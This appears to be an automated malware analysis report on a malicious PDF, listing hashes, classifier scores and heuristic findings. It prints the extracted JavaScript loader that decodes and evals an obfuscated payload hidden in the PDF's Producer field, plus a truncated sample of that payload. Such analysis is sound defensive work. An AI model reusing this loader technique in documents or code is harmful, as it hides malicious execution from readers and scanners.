Malicious PDF — malware analysis report

Static analysis result for SHA-256 3d492459b800ec5b…

MALICIOUS

PDF

25.1 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-09
MD5: a779ea1f08c68b3b605d2f3fc87ef813 SHA-1: 1cd56df71e238bd66aa3ac2131df50b699aaa92d SHA-256: 3d492459b800ec5b0f86e8e3790afdd542004786e8499b30b02ad4ffdd563f1a
114 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF was flagged as malicious by an ML classifier with very high confidence. Static analysis revealed embedded JavaScript, specifically using String.fromCharCode, which is a common obfuscation technique. The JavaScript stream itself was extracted, indicating it likely contains malicious code. The primary function of this script is presumed to be the download and execution of a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCodet9.5*wqt4.t5*wqt8.5*wq8*wqt4.5*wqt6.5*wqt8.75*wqt5.75*wq15.t5*wq9.75*wq9.t5*wqt9.t5*wq14.t5*wq1t*wq14.t5*wq1t*wq9.t5*wqt9.t5*wq14.t5*wq1t*wq14.t5*wq1t*wq9.t5*wqt9.t5*wq1t.t5*wq13.5*wqt5.t5*wqt4.5*wq9.t5*wqt9.t5*wq1t.75*wq13.75*wqt4.5*wq14.t5*wq9.t5*wqt9.t5*wq1t*wq1t*wq1t*wq1t.t5*wq9.t5*wqt9.t5*wq14*wqt4.5*wq1t*wq1t*wq9.t5*wqt9.t5*wq1t.5*wq13*wq1t.75*wq13*wq9.t5*wqt9.t5*wqt5.5*wq13.75*wq14*wq14.t5*wq9.t5*wqt9.t5*wq1t.75*wqt5.t5*wq14*wq1t*wq9.t5*wqt9.t5*wq13.75*wq13*w …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x624A 371 bytes
SHA-256: 1f639f77107394476fcbc6c84532ac66ba53b2cce977aa9b2ed2b34d8523d73d
Preview script
First 1,000 lines of the extracted script
var qweval=5;
for(var i in this) {
	if (i.indexOf('qwe') != -1) {
		pdoe=this[i.replace('qw','')];
	}
}
pdoe('hwrgj=this.producer');
pxjae=pdoe(hwrgj.substr(0,19));
hwrgj = hwrgj.substr(19);
hwrgj = hwrgj.replace(/t/g,'2');
ar = hwrgj.split('q');
var s = '';
w = 4;
for (i = 0; i < ar.length; i++) {
	rqin = pdoe(ar[i]);
	s += pxjae(rqin);
}
pdoe(s);

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